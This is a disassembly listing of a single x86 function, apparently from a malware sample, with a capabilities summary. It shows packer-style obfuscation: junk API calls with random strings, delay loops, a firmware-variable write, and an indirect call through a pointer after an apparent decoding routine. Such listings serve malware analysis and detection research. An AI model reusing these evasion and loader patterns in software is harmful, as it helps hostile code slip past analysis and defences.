Function at 0x4226c0
Capabilities:
Get common file path
Query environment variable
Set current directory
Set thread local storage value
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x21c8
call fcn.00416050
mov dword [ebp - 4], 0
jmp 0x4226df
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x32d05d76
jge 0x422788
cmp dword [0x4e10cc], 0xfc
jne 0x422722
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
lea ecx, [ebp - 0x70]
push ecx
push str.levihufanogisojinasitogatopacaxuhozuwehu
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
lea edx, [ebp - 0x870]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
cmp dword [0x4e10cc], 0x5e4
jne 0x422778
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
lea eax, [ebp - 0x1190]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea ecx, [ebp - 0x990]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor edx, edx
mov word [ebp - 0x11a8], dx
xor eax, eax
mov word [ebp - 0x11a6], ax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
cmp dword [ebp - 4], 0x9be51dc
jle 0x422783
jmp 0x422788
jmp 0x4226d6
push 0x43a180
mov ecx, dword [0x4e10cc]
push ecx
mov edx, dword [0x4cd5fc]
push edx
call fcn.00422580
mov dword [ebp - 0x11ac], 0
jmp 0x4227bb
mov eax, dword [ebp - 0x11ac]
add eax, 1
mov dword [ebp - 0x11ac], eax
cmp dword [ebp - 0x11ac], 0x3e7a3
jge 0x422800
cmp dword [0x4e10cc], 0x10
jne 0x4227e5
lea ecx, [ebp - 0x11b0]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp dword [ebp - 0x11ac], 0x1e673
jne 0x4227fe
call fcn.00421f40
jmp 0x4227ac
mov dword [ebp - 0x11b4], 0
jmp 0x42281b
mov edx, dword [ebp - 0x11b4]
add edx, 1
mov dword [ebp - 0x11b4], edx
cmp dword [ebp - 0x11b4], 0xdd9a7
jge 0x422847
cmp dword [0x4e10cc], 0xc01
jne 0x422845
lea eax, [ebp - 0x11b8]
push eax
push str.havosohivehacetisowi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
jmp 0x42280c
call dword [0x4cd5fc]
cmp dword [0x4e10cc], 0x1144
jne 0x422912
push 0
push 0
push str.lavasuhumiwagumolehitevazadopitogiyubocobohihok
push str.golerazuzeretizagakuzerene
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov dword [ebp - 0x1dc8], 0
mov ecx, dword [ebp - 0x1dc8]
push ecx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push str.morekexihofebofapumu
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
lea edx, [ebp - 0x1dc0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push str.dulimawutelawirubupida
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
lea eax, [ebp - 0x15b8]
push eax
push 0
push str.poduhabumokobadisavuhizoconuxocuyacufomohosoditejivunezeyibaku
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
lea ecx, [ebp - 0x15bc]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
lea edx, [ebp - 0x21c8]
push edx
push str.fedikohegixumihihavarinigocedujufewowihihoherenoxizigujihehofinibomujedufalonajalisucavijof
call dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
xor eax, eax
mov esp, ebp
pop ebp
ret